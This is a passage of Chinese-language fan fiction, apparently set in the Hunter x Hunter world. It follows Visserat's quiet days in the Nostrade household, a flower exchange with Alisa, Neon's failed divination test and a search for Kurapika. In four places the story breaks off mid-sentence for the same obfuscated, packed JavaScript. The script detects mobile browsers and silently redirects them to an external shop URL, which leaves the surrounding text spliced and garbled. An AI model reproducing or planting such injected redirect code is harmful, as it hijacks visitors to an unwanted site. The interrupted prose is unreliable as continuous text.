无意间提到死去恋人的名字,她的眼泪不受控制,扑簌扑簌地掉下来,脚步怎么也抬不起来了,轻而易举地被维瑟拉特甩在身后。 还好,维瑟拉特注意到了距离的失衡,及时地停住脚步,还配合着稍稍后退了一些,重新靠近亚里砂的身边。 亚里砂把脸埋在掌心里,片刻后终于抬起头,很抱歉地冲她笑笑。 “对不起,我总是哭哭啼啼的。”她努力地拉扯了一下嘴角,想露出自嘲的消息,“就连史库瓦拉以前也说过,我这人还挺麻烦。希望没给你添太多的麻烦。” 维瑟拉特转动着手掌,把狗绳绕一圈缠进掌心里,“没有。” 拥有情绪和眼泪是很正常的事情。尽管维瑟拉特自己很常被指责说像是脑袋里缺了根筋(且八成是掌管情绪的那根),但她不会对人之常情说三道四。 继续往前走。清晨的雾霭已经散去了不少,黎荫河上划过了小型帆船的踪迹,附近的集市也开始冒出热闹的动静。 亚里砂换了话题,说起先前每次遛狗时经过集市,她都很想走进去看看,可如果带着小狗们一起,总担心会吓跑其他顾客,所以每次都只是想一想,从来没有机会落实。 “啊,对了!”她忽然冒出了新想法,“你可以帮我看着这些孩子们吗?” 如此简单的请求完全用不着进行风险评估,维瑟拉特用不着犹豫就能贯彻自己良好的职业素养,果断地应上一声“好”,摊开手,示意亚里砂把狗绳放进自己的手里。 “麻烦你了,我马上就回来——放心,我就是稍稍去集市看一下。” 原来是惦记着集市的事情。 如果亚里砂不说,维瑟拉特大概也意识不到这一点,毕竟她的目光完全不会追随着亚里砂一路小跑的背影,只会和把自己团团围起的小狗们大眼瞪小眼,进行沟通程度低至零的交流。 等待一向无趣,维瑟拉特闭着眼消磨时间,意识在清醒与困倦的边缘寻找着平衡。听到有朝自己而来的脚步声时,她睁开了眼,对上的是亚里砂屏息以待、仿佛马上就要做出坏事的期待面孔。 “我还盘算着要吓你一跳呢。你的感官好灵敏。”她收回马上就要拍在维瑟拉特肩膀上的手,“你是不是能猜到我背后藏着的是什么?” 被亚里砂这么问了,维瑟拉特才注意到她另一只藏在背后的手,还有不停地往鼻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929120|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里钻的花粉气味。 “花吗?”维瑟拉特问。 好吧,这下亚里砂可能真的要绝顶失望了,不过失望也是可以和欢喜共存的,至少她看起来还是笑眯眯的模样,藏在背后的手也伸出来了,果然拿着花束。 她买了一束很漂亮的花,浅紫色的花瓣一连串地挂在笔直的花茎上,看起来好灿烂,像是春日才能见到的景致。 “这是剑兰。” 亚里砂从她手里拿回由自己负责的几根狗绳,作为交换,把花束塞进了她的掌心。 “送给你。” “好……等等,为什么?” 维瑟拉特有点懵,这种愣神的状态对她来说实在太过罕见——正如送给她的花和忍不住脱口而出的“为什么”,全都是太罕见了。 不过,亚里砂觉得她的反应很正常,甚至早早为此做好了准备,“因为你今天愿意帮我,还听我说了很多。我能感觉到的,你一直在很认真地听我说话。” “哦……”原来是这样。 “关于史库瓦拉的事情,我一直没有对其他人说太多,因为我已经不想被安慰了。” 亚里砂迈步向前,日光将她的影子拉得好长,曾弥漫在空气之中的湿漉气味已经完全被剑兰的芬芳替代。 “可你不会安慰我,从来不深究,也不说自己的感谢,只认真听我发泄。谢谢你,这就是我需要的。”她又忽然想到了什么,“而且,你对小狗们也很温柔,明明你很可能不那么喜欢狗。” “是嘛……” 亚里砂的话让维瑟拉特觉得很奇妙,被她描述的自己仿佛是个无比谅解她的存在。但维瑟拉特知道,常有的沉默只是自己不知道该说什么罢了,而这一向是便利屋和她过去的雇主们不喜欢的特质,所以她们才说她很像是缺失了感触情感的那根筋。即便是在酷拉皮卡——这个给予了她前所未有的自由和安全,以最平等的眼眸看着她的这个人——的身上,偶尔也能觉察到他对于自己作出寡淡回应时不由自主地浮现出的一点失落感和困惑。 这样的自己居然是亚里砂所希望的。真奇怪。 捧着花,直到回到地下室的房间,维瑟拉特依然想不明白这份落差之中究竟藏着怎样的深意,渐渐地也不再去思考这些事,就连亚里砂的话语给她带来的那点原始的茫然,也逐渐平息了下来。她的内心似乎又变回了一如既往的一潭死水。 不过,花束还在。 维瑟拉特把花束摆到床头。她想起大家似乎很常将鲜花插进花瓶,可房间里到处都没有花瓶,最近似的物品,应该只有茶杯了吧。 于是,裹着雪梨纸的剑兰就这么被插进了茶杯里。但茶杯太浅,实在撑不住花束,干脆把它们一道靠着墙面,看起来……还算完美吧? 唯一的小问题,可能是直到剑兰完全枯萎,维瑟拉特也没有意识到,花瓶(茶杯)里需要添上水。 12.无业游民x回礼x暖空气 维瑟拉特逐渐觉得自己是诺斯拉家的无业游民。 意识到这一点倒是稍稍花费了她一些时间,好在她可以确定这是个百分之百的真相,毕竟她已经看遍了诺斯拉家的(差不多)每一张面孔——且因为记忆力不算太好很有可能在不知不觉中看过了好几张重复的脸——这些面孔的主人全都有自己的事情要做。 譬如那个白发苍苍的老头是诺斯拉的园丁,每天都在摆弄他的园艺大剪刀,对院子里的植物造成一些谁也看不出来的变化。那个鬓角长到和胡子连了起来的高个子壮汉是保镖,常常看到他和酷拉皮卡走在一起,他忙碌的事情维瑟拉特没法看透。但他们确实都有事可做。就连亚里砂也会因为要陪伴在诺斯拉家的小姐身边,一连几个小时都见不到踪影。 而无事可做的维瑟拉特呢?无事可做的她最近做的最忙碌的事情是陪亚里砂遛狗——之所以还要加上“最近”一词是,因为亚里砂觉得现在已经可以由自己一个人来负责小狗的饲养工作,再麻烦她来帮忙总觉得不好意思。维瑟拉特对此没有特地争取。 拜托,这只是遛狗的差事罢了,是对她来说既不痛苦也不算很愉快且难度不高的任务罢了,做或不做都一样。 但也必须承认,不遛狗就没有别的事情可以做了。大家都忙忙碌碌,偶尔从几个负责安保工作的保镖口中还听到了类似于“诺斯拉家现在内忧外患特别不妙!”或是“要不我们还是趁早跳槽吧听说诺斯拉盟友的兰格雷家条件就很不错”之类的话。 这些话语可能是危言耸听,也可能确有其事,维瑟拉特不那么关心,也无处考证,毕竟她唯一的信息来源酷拉皮卡先生忙得不像话。 像上次那样面对面的沟通已经无暇进行了,能和他偶尔说点什么的机会多数是在宅邸里遇到他的时候,他们就好像那种很擅长社交的人一样停下来闲聊两句,话题局限在午饭、睡眠和天气,但凡再深入一点,酷拉皮卡就会被老大莱特·诺斯拉叫走。 所以说,他也很忙。 无趣的时间存在着,总得想办法消磨。她不是什么创意十足的家伙,索性把时间都用在自己喜欢的事情上。 维瑟拉特喜欢散步。 喜欢沿街散步,也喜欢走在郊野,只要有风拂过,就足够为她带来平静感。 她会一直走,从郊野走到城镇的中心,一刻不停的步伐随即将高楼丢到身后,再次带领她来到偏僻之地。一贯不算太好的记忆力会在这时候派上用处,不管怎样的风景多少次落入眼中,都会带给她一种初次见到的惊喜感。她大可以抬起眼眸,肆无忌惮地去看周遭的一切,不必担心溢出的好奇心是不该拥有的存在。 外界世界的一切都是可以自由欣赏的,大自然可不会因为她投去了多一道目光而狠厉地惩罚她。 “不过,总觉得散步这个爱好对于维瑟拉特你来说,显得很朴素呢。” 某一次亚里砂这么说过。 这当然不是什么怀有恶意的评价,亚里砂也没有别的意思,只是想说:“维瑟拉特你看起来是个冷冰冰但很酷的人,总觉得会有很酷的爱好。” 很酷的爱好吗?维瑟拉特对这种事完全没有概念。 “比如?” 最近她向亚里砂提出的询问,变得越来越寻常了。 亚里砂把发梢缠到指尖上,很认真地想了想,“比如……格斗?拳击?加入地下摇滚乐队打架子鼓?” 总觉得这听起来也没多酷。 从零培养符合旁人印象的新爱好估计太迟了,而且散步只是不够酷,而不是糟糕。她还是会继续走在街头的。 顺路经过集市,也去看了看。有个小铺在售卖异国的手搓香烟,闻起来像被烟熏烤过,维瑟拉特没那么感兴趣,出于体验的心情买了一支,缩在集市一角抽完,庆幸自己只买了一根而已。异国的东西果然水土不服。 回到集市的主街,最热闹的小摊都聚在这里。她买了一束花,好像叫矢车菊还是蓝铃花还是什么的,有着和亚里砂的和服相似的颜色,适合作为送给她的礼物。角落的花桶里还有一束鹅黄色的小花,浅黄的色泽也让她想起了拥有这份色彩的某个人。可惜还来不及冒出更多的想法,这支花就被卖出去了。 可能是期待作祟,维瑟拉特好想快点把礼物拿给亚里砂,集市上的其他小摊也不想去看了,但途径异国手搓香烟的小摊时还是买了一支,抽完才意识到自己完全忘记了刚才不喜欢这支香烟的心情。真糟。她的脑袋怎么就像漏勺那样把重要的内容都漏掉了?真让人懊恼。 这把漏勺接着又把维瑟拉特的懊恼心情全部漏掉了,至少当她回到宅邸时,已经完全忘记了怪味香烟带来的郁闷感,只有拿在手里的浅蓝色花束提醒着她接下来要去做的事情。 和无事可做的自己相比,亚里砂肯定忙碌不少。除了要照料心爱的小狗们,维瑟拉特记得她还是诺斯拉小姐——名字是什么已经完全想不起来了——的随从,这才是她最为重要的工作。 如果在照顾小狗,那亚里砂一定会在庭院。如果不是,可能就是在诺斯拉小姐的身边。维瑟拉特绕着宅邸打转,低效率地寻找亚里砂。 华亮的大宅像迷宫,精心设计的不同房间落在迟钝的眼中,看起来大同小异。维瑟拉特推开了一道又一道门,鲜花都快被家里的暖气烘得卷起,好不容易才在书库找到了亚里砂的背影。诺斯拉家的小姐也在这里,急切地翻看着仆从帮她找出来的书本,飞快扫过两眼就把书丢到一边,昂贵的真丝地毯完全被书页淹没,而亚里砂还有其他几个侍从正在帮忙收起这些书本,看起来好忙。 维瑟拉特觉得自己挑错了时间,眼前也不像是她可以随便步入的场合。 得出这个结论的同时,她立刻闪到了走廊的拐角处,努力不让自己的存在感影响到书库里的任何人。不要随意打扰别人的工作,这也是她正在遵循的良好职业道德。 话虽如此,亚里砂的工作什么时候才能告一段落,维瑟拉特完全没有概念,除了一本正经地耐心等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938585|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待,貌似也没有别的选择。为此她还特地挑选了一个通风最好的位置,站在立式老钟的旁边,在心里数着度过的时间,以免被暖烘烘的空气熏到冒出困意——虽然她对温度的感知相当不敏锐,但困意意外得很中意温暖感,一旦温度处在过分适宜的状态,她就会自然而然地开始犯困。身体还是太诚实了。 犯困很烦。无论如何都要避免才行。 差不多在快要数到一万的时候,她的计数稍稍乱了一点,干脆重新计数。眼看着马上又要市区规律,书库里倒是传来了一点细微的动静——准确地说,应该是很巨大的动静才对,那是诺斯拉小姐无比懊恼的一声大叫。 “家里居然真的连一本和念能力有关的书都没有吗,可恶!” 如果在这时候探头看向书库,能见到的一定是躺在地上不停地用拳头捶打真丝地毯的妮翁·诺斯拉。 她也不想那么急躁,也不乐意表现得太过绝望,但现状真的很难让她冷静下来。 无法使用念能力的这个情况,似乎已经快要成为既定事实了,无论是莱特·诺斯拉请来的除念师还是其他所谓的念能力者都没办法判断她的情况,更加没办法给出解决方法。 妮翁知道自己的价值,必然不想面对价值清零的后果;她也知道,拿“诺斯拉家的小姐在友克鑫遇袭身体尚未康复故暂时不接受任何占卜委托”当做理由的那天很快就要结束,父亲已经隐约表现出了无论如何都要继续接受占卜委托的意思,哪怕这个决定很可能为整个家画上最后的句点。 既然如此,干脆装作看不到父亲忧愁的面孔,摆出她这个年纪才会有的乐天心态,宣称只要休息一段时间就能继续进行占卜了。实际上,她也清楚,能力的消失又不是干涸的水井,等一会儿就能重新充盈——再说了,就算是真正的水井,也没办法在一时半会儿之间就被水填满啊。 所以她埋头钻进了书库里,试图在装满世界上所有知识的这一整面墙的书架上找到哪怕一点的线索。 很可惜,一无所获。 “爸爸到底都买了些什么乱七八糟的书啊……《我从孟德尔那里学到的投资知识》?《新手的财富积累之路从投资房地产开始》?《甘尼拔传奇第一部之嘈杂的牛犊》?连书页都还粘在一起呢,根本没看过嘛!” 想想也是,莱特·诺斯拉可不是什么习惯从书本中汲取知识的聪明人,妮翁自己也没有那么喜欢读书,家里的这间书库,纯粹只是用来证明诺斯拉家是存在文化底蕴、不至于被任何其他家族小瞧的装饰物而已。 妮翁呼出一口气,猛地从地上跳起来,飞快地朝外走,动作迅速到她的随从们差点都追不上她。 “妮翁小姐,您要去哪儿?”随从塔娜的询问从身后追上来。 “去测验一下我的念能力回来了没有!”说着这话的妮翁像是在赌气,气恼的对象绝对是戏弄她的老天没错,“我要对我接下来见到的第一个人进行占卜……对!就是你了!” 妮翁抬手一指。 13.占卜x准备工作x好奇心 维瑟拉特被大小姐的指尖选中了。她感到有些莫名其妙。 不对,不能说是“莫名其妙”。 准确地说,维瑟拉特现在很茫然,根本没搞懂眼下的情况。 实不相瞒,自她从开始为秒针走过的时间计数开始,维瑟拉特一直都保持着一种恰到好处的神游天外状态,没怎么留意过书库里的动静,也完全没听到妮翁将对自己走出书库后见到的第一个人进行占卜测试的宣言。光从对方绷着面孔的严肃表情中,她完全没有办法猜出眼下的情况,只习惯性地把手背到了身后,有意无意地藏起了花束的存在感。 和维瑟拉特的迷茫截然相反,再给出了即将进行占卜的宣言之后,妮翁倒是一下子自信起来了——说不定这回真的能行呢?况且,要是连她自己都不怀有信心,那旁人肯定没办法信任她。 这么想着,妮翁扬起了大大的笑容,从口袋里摸出一张小纸片,塞到维瑟拉特的手里。 “在这张纸上写下你的名字、出生年月日和血型吧!”妮翁说着,微微偏过脑袋打量她,“说起来,你是新来的吗?我好像没见过你。” 维瑟拉特把手伸进口袋里,摸索着能用来写字的东西,“明白。是的。” “你负责安保工作吗?可我已经和爸爸说过了,我现在不需要更多的保镖,而且也不会再像之前那样随便跑出去了。” 偷跑的代价是莫名其妙地失去了念能力,就算妮翁还没学会吃一堑长一智,至少也已经冒出足够的警惕心了。 维瑟拉特依然很懵,这份茫然从见到妮翁开始就没有发生过什么变化。她一点也不知道妮翁说的是什么事情,也不会好奇到进行打探。只对提问的内容进行准确的答复,这是维瑟拉特一直以来的习惯。 正如此刻,她从妮翁的抱怨中精准地筛选出了自己需要解答的问题,不必多想就能给出答复。 “我并不负责安保工作。” “哦?”妮翁看起来高兴了一点,调皮地往她身边凑,“那你是做什么的?” “我无事可做。” “嗯?为什么?” “……” 如果非要给出回答的话,维瑟拉特肯定是能够说点什么的,可说出的一定会是和火红眼有关的事情。而这是不适合在这个家说起的事情。 指令出现了冲突,维瑟拉特一下子无法做出下一步的反应,僵硬地站了一会儿也还是没想好该说的话。多亏亚里砂在这时候插话进来,说,她是酷拉先生的下属。 “可能最近保镖组没有紧要的工作安排吧。”还补上了这么一句。 “是吗?可我觉得酷拉皮卡很忙啊。他整天待在爸爸身边。” 听起来怎么有种吃醋的意味了? 维瑟拉特可听不出这层意味。对她来说,紧要的回答终于不必面对了。她顺势抬起手,递上小纸条。 “写好了。” “是嘛,让我看看让我看看……哎呀。”妮翁冲她摆出一个不那么高兴的表情,“你没有写完哦,出生年月日和血型还空着嘛。只提供名字的话,我可没办法进行占卜哦,维瑟拉特。” 不管什么时候,被人用“维瑟拉特”这个名字称呼,都会让维瑟拉特感到一种奇怪的违和感,明明在刚才写下名字的时候,她丝毫都没有犹豫或是迟钝,落下的第一笔也绝不是“十三”的第一个笔画。这事真怪。 维瑟拉特轻轻用花束拍打着后背,没有迟疑太久,直白地说:“这些内容我不知道。” 妮翁好意外,“一丁点都不知道?” “出生年份可能知道。”毕竟她知道自己的年纪,“除此之外都不知道。”使用强化系的能力就能直接治愈伤口,她从来都没有去过医院输血,当然没必要知道自己的血型。 妮翁追问:“是不记得了吗?” 做出了要对第一眼见到的人进行占卜测试的宣言,妮翁可不想食言。保证承诺能够被兑现,是每个占卜师都应当遵循的信条。 “要不要去看看你的入职简历?”妮翁思考着一切可行的解决方法,“简历上肯定写了。去看看嘛!” 简直像是在怂恿了,真没脸说她可从来没有过什么简历,能来到这里也完全只是因为酷拉皮卡…… ……啊,是了。酷拉皮卡。他一定会知道吧。 维瑟拉特应了一声好,正好通往二楼办公室的楼梯就在身后,不必再在宅邸打转就能精准地找到目的地。她踏上台阶,藏在身后的花束随着惯性轻轻地拍在了她的背上,总算让她想起了还有这份回礼的存在。赶紧收回脚步,绕到亚里砂身边,把花塞进她的手里,在她露出疑惑或是惊喜的表情之间插进一句“这是回礼”,不等她给出回应就立刻走向二楼。高效率的工作就是该这样子完成才对。 要是莱特的办公室大门没有仅仅闭拢的话,维瑟拉特相信自己的“差事”将会完成得更加高效。可惜这个“要是”并不是真实的存在,她只能在门边耐心等待。 站在这里可就没有办法靠数秒消磨时间了,暖气也十足,害她空空的大脑不受控制地开始泛滥起困意。这些元素好像全都糟透了。 但好消息是,她根本没有等待太久,酷拉皮卡就从门后走出来了。 最初从门缝间漏出的是少年的愁容——刚才在和莱特·诺斯拉第无数次讨论是否要开启下个月的占卜委托,每次谈到这种事都必须想到其他家族妄图乘此机会吞并诺斯拉家的现状,还有拍卖会上巨大的金钱空洞。在这些事情上,无论是否能够讨论出确切的结果,最终剩下的也只有苦恼罢了。 诺斯拉,诺斯拉,用来实现目的的借力工具,可眼下却只能着眼于这个家的一切。他真正想做的事情,什么时候才能切实地着手去做?酷拉皮卡不想苦恼,却还是不免发出一声小小的叹息。 叹气还没有来得及落到地上,余光的一角出现了熟悉的面孔。她应该是在等自己吧? 酷拉皮卡没想到会在这时候看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948114|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到维瑟拉特,也实在不想自己阴沉的表情被她看到。他赶紧扬起嘴角,眼底的温度则是要慢上几秒才会浮起来。 “你找我吗?” “是的。”维瑟拉特一副很认真的面孔,“请问,我的出生日期和血型是?” 酷拉皮卡努力将自己的意外感全部藏回脑袋里,只忍不住眨了眨眼。 自从重逢以来,这好像是她第一次主动问起和她自己有关的事情呢……是想起了什么吗?还是逐渐对自己作为“维瑟拉特”的存在感到好奇了? 无论是求知心还是好奇心,一定都很好,因为她本就是这样好奇的人啊。 酷拉皮卡好欣慰,他丢进深潭的石头终于荡起了一圈水波。 “我记得你的生日是在三月六日,你总是抱怨生日前后的节气暖烘烘又湿漉漉,还说如果能在干爽的夏天过生日该有多好。派罗每次听到你这么说,都会特别认真地和你说,生日肯定是怎么也没有办法改变的。每次你也一定会装作认真听取了他的劝说,但是过不了多久又要继续抱怨不能在夏天过生日的事情。” 说着说着,酷拉皮卡不知不觉扬起嘴角。哪怕只是说着这些事,他似乎都能看到当时派罗一本正经的竖着手指站在面前,还有那时候维瑟拉特佯装真诚实则漫不经心的…… 一如既往的无感情面孔。此刻眼前的维瑟拉特的脸上看不到任何触动,当然也不存在其他的情绪。她只拿着笔在手心里写了点什么,等待一小会儿之后才问,自己的血型是什么。 好吧。现在的她,是永远会把需要完成的目标放在第一位的那种人。 酷拉皮卡知道自己没有必要对此感到沮丧,但话语果然还是不受控制地噎住了,艰难吐出的只有一句“抱歉”。 “血型的事情,我不知道。” 如果能够解答她的一切疑问就好了,可惜不能。这点小小地失落感让他感到一阵微妙的窘迫。 “小时候,我们好像连‘血型’这个概念都没有听说过,所以……说起来,家庭医生那里应该会有血型试纸,是为了紧急输血的需求准备的。” “了解。” 看来她的目的地需要更新了——接下来得去找家庭医生。 依旧是效率优先,她连半句道别的话语都没有对酷拉皮卡说,只颔了颔首,过分飞快地走掉了。酷拉皮卡也只能无奈地笑笑,心想,以前的她确实也是这么火急火燎的。 但要是酷拉皮卡能知道她不说再见的主要原因,是她觉得同一个屋檐下的短暂分开和再度相遇只是渺小的日常,没有庞大到一定要说出“再见”,说不定就不会在意这没有说出口的道别了吧。 无论如何,感谢他的信息供给和指引,另外再感谢装在家庭医生的药箱里的血型试纸,缺失的信息现在全都集齐了。赶紧把这些内容誊到纸上,这就交给妮翁吧。 “好!” 妮翁信心满满。 “现在,让我们开始占卜吧!” 14.装神弄鬼x价值x心跳声 占卜开始时,挂在天花板上的水晶吊灯闪烁了一下。有风钻进了窗户的缝隙,吹开插销,猛地推开了整扇窗。生锈的铰链旋转出令人牙酸的吱呀声,深红色天鹅绒的帘子被风吹起来,发出哐哐的声响。 谅谁看到这样的场景,一定都会觉得,发生在房间里的一切实在是太符合占卜的氛围了。 可问题是,这一切玄乎的征兆都是妮翁·诺斯拉的随从们刻意制造出来的迹象。 “我说,你们在干什么呀?” 捏着笔的妮翁被这些丁铃当啷的动静闹得有点恼,实在很想问问这到底算是怎么一回事。 正在挥着窗帘的随从塔娜最先听到询问,可还来不及出声,就被扬起的窗帘卷进去了,身旁的伙伴赶紧帮着把她从重重叠叠的天鹅绒布料里拽出来,顺便把窗户也关上了。 同伴们都忙忙碌碌的当口,只有亚里砂姑且不那么仓促——她正在负责操控吊灯的开关。理所应当,回答妮翁疑问的这个差事也交给她了。 “我们是这么想的,如果能够制造更加具有占卜氛围的环境,说不定妮翁小姐您的占卜测试就能得到很不错的结果。”亚里砂满怀期待,“您觉得如何呢,顺利写出占卜诗了吗?” 真是胡思乱想呢。可又是好心的胡思乱想。 听亚里砂这么说完,妮翁完全没办法真的生气了,只能叹息一声,说:“你们这样,制造出来的肯定不是什么‘占卜的氛围’,而是‘神神叨叨的氛围’吧?再说了,能否顺利占卜,看的也不是周围的情况嘛……要靠我自己的能力才对。” 她的念力能够凝成一只隐身的小型妖精。说到底,能够参透未来命运的,也是这只妖精。此刻妖精并没有爬到她的笔上,同之前一样,她还是什么都写不出来。 妮翁不想就这么轻易罢休。她低头看看小纸片,片刻后又抬起脑袋看看维瑟拉特,这点小动作被她重复了几遍,过了好久才深呼吸了一口气,垂下手,让笔尖落到纸上。 不算意外,没能写出半点占卜诗。 至此可以得出结论,对于占卜能力的测试再一次失败了。 “果然是这样。” 妮翁把纸张揉皱,丢进口袋里。 “我想,我的价值确实结束了吧。我现在没有除了‘提供占卜’之外的任何价值。爸爸也该意识到这一点才行了。” 比起开始占卜时那副兴冲冲的姿态和刻意营造的自信,现在的妮翁显得有点过分安静。尽管没有露出太多失望或是沮丧的表情,但相较于过分急躁的反应,这种习以为常的失落反而更加叫人感到难过吧。也难怪整个房间都弥漫着一股颓唐的氛围。 在这个四方的空间之内,可能只有维瑟拉特的心情显得最为阳光积极——尽管她这个人从来都没有办法和“阳光”或者是“积极”挂钩。 她其实很无所谓占卜成功或是失败。对于未来,她没有那么强烈的好奇心,也不觉得有什么危机是一定需要提前知晓的。危机层出不穷,谁知道为了躲过眼下这个危机而做出的自救行动会不会变成下一个危机的诱因。除此之外,她对占卜结果的漠不关心,更多是因为,她已经完全忘记了诺斯拉家族是靠着妮翁的占卜能力才异军突起的这个事实。 当然了,即便还能记得莱特·诺斯拉的发家史,她应该也很难表现出适当的关心和沮丧——这种事对她来说还挺难的,毕竟她连接下来该干点什么都不知道。 妮翁所给予她的工作已经结束了,新的命令尚未下达。说起来,妮翁应该也没什么差事是一定要命令她完成的。如此想来,接下来大概是无事可做了,但也无法确定是否真的无事要做。 维瑟拉特死板地站在沙发旁,听着妮翁拖沓的脚步声一直拖延到长廊的拐角,在那时候她的足音才渐渐地听不见。侍从们跟着她一起离开了,书库就只剩下了她一个人而已。她兀自站了一会儿,然后又站了片刻。这点空白的等待时间足够让她得出“工作结束”的结论。既然如此,还是回房间吧。 维瑟拉特往前迈了一步,亚里砂恰好在这时候走进来。她东张西望,不知道在找什么,与维瑟拉特对上视线时,不由得被吓了一跳。 “你怎么还在这里呀!难怪刚才去你房间的时候没有看到你。” 亚里砂东张西望寻找的对象就是维瑟拉特没错。 维瑟拉特张了张嘴,下意识地想要对亚里砂的询问予以回答,却不知道该如何组织语言才比较合适。还好亚里砂也不是非要知道答案不可,她是想来道谢的。 “你送给我的花特别漂亮,谢谢你。我还把花拿给小狗们看了,那些孩子们好像也很喜欢,还想张嘴去咬呢,还好被我拦住了。这么棒的礼物,可不能被犬牙咬得破破烂烂的。” “好。” 幸亏她喜欢。虽然维瑟拉特完全没想过她要是不喜欢的话该怎么办。 离开了书库,以上急匆匆端着菜的男仆们正在努力追赶莱特先生的用餐时间,一人搅着蛋奶酒,一人叠着餐布,一起追赶着推向莱特房间的餐车,宛若小型战争。维瑟拉特腾出走廊的空间,待他们离开之后,才走向地下室的房间,继续沉入无趣的夜晚。 其实白天也很无聊。时时刻刻都很无聊。 这个家忙碌的日常如出一辙,她的闲散也是一样,格格不入也会因此显得不那么格格不入了吧。似乎也没有人发现她在这里很没有价值的这个事实。 想到这一点时,她迈下台阶的脚步也顿了顿。维瑟拉特转身,沿着楼梯往上走,先去了莱特的办公室……嗯,不在这里呢。 她一直觉得莱特的办公室是百分百能够见到酷拉皮卡的地点,看来这个认知要改变了。 像寻找亚里砂那样,寻找酷拉皮卡的行动估计也会是相似的宅邸探索行动,她忽然意识到自己连酷拉皮卡住在什么哪个房间都不知道。而这只是众多未知中最微不足道的一则罢了。 说到底,对于他整个人的认知,一定是未知更多。 明明他的说辞一直都是,他们是世上最后血脉相连的族人。 “你还好吗?”很忽然的,听到了轻柔的询问。 维瑟拉特循着声音传来的方向看去,与身后走来的旋律 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952212|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上目光。她花了点时间才想起“旋律”这个名字。 “挺好。” 她给出的回答没能让旋律相信。 “你有什么想知道的事情吗?感觉你有些困惑。还有点……不愉快?”旋律努力听着她的心跳,“你有没有发现自己的心脏,鼓动的幅度有点小?所以什么情绪都显得格外微弱。” 旋律的话让维瑟拉特抬起了手,按在心脏上。嗯,好像确实不是多么明晰的鼓动。旋律说得很正确。 “我在找酷拉皮卡。”这可能就是心跳传达出的困惑源头,但是,“‘不愉快’,我不确定这是从哪里来的。我没有不高兴。” 她的语气很诚恳,旋律知道她没有在说着言不由衷的话语,很可能只是不愉快的感情切实存在着,她却不去感触罢了,正如她微弱的心跳所传来的仿若被紧紧束缚的悬浮感。 “酷拉皮卡的话,可能会在顶楼的平台吧。我看到他往阁楼的方向去了。” “了解。” 沿着楼梯向上,阁楼是维瑟拉特不曾造访过的地方。 当然,这里也不是什么有趣到非来不可的地方,只是堆积着杂物和他人送来的礼品的房间而已,积灰的盒子从地板叠到倾斜的天花板,只留下一道狭窄的通道连接着屋顶上的一处小平台。 维瑟拉特侧着身,把碍事的风衣下摆抱在怀里,一路走到底,尽头那扇玻璃小门的后方映出一头金色的发丝,酷拉皮卡背对着门坐在那里。她适时地停住了脚步。 不打扰到老板也是职业操守之一。在无法确定酷拉皮卡现在是否正在处理什么事情的情况下,维瑟拉特会愿意花点时间等待他的。 仔细想想,今天好像一直在进行着“等待”的动作。 维瑟拉特就这么屏息站着,视线落在地面上,看着酷拉皮卡映入室内的影子。 这道影子笔挺、沉默、一动不动,明明是隶属于酷拉皮卡的,却不那么与他相似,只像是刷在油画上的深黑一笔。维瑟拉特静静凝视着,片刻后才见到影子以微弱的幅度动了动,而后猛得抖了一下——她完全没有意识到这是酷拉皮卡被悄无声息地出现在背后的自己吓到的证明。 不经意地一转身,身后昏暗的房间里忽然出现了面无表情的人形,垂散的碎发还盖住了大半张脸,无论是谁看到了这样的存在,肯定都会被吓到的。还好那头深红色的长发足够熟悉,没有让酷拉皮卡冒出更多的惊恐心情。 看起来老板没有在做什么要紧的事。维瑟拉特放心地推开玻璃小门,步入今晚阴冷的空气中。 一阵风不适时地卷过来,从酷拉皮卡的发间钻过,随即扑打在了低领上衣盖不住的她的胸口上,把一层白皙的皮肤吹红。真担心她会冷,酷拉皮卡想说点什么,她却先一步出声了。 “酷拉老板,我今天见到了妮翁小姐。” 她说。很难得地主动说。 酷拉皮卡愣了愣。他觉得自己真的没必要觉得意外,可还是不可以避免,有那么一点小小的意外。 这是在…… ……和他分享她的见闻吗? 15.分享欲x需求x内忧外患 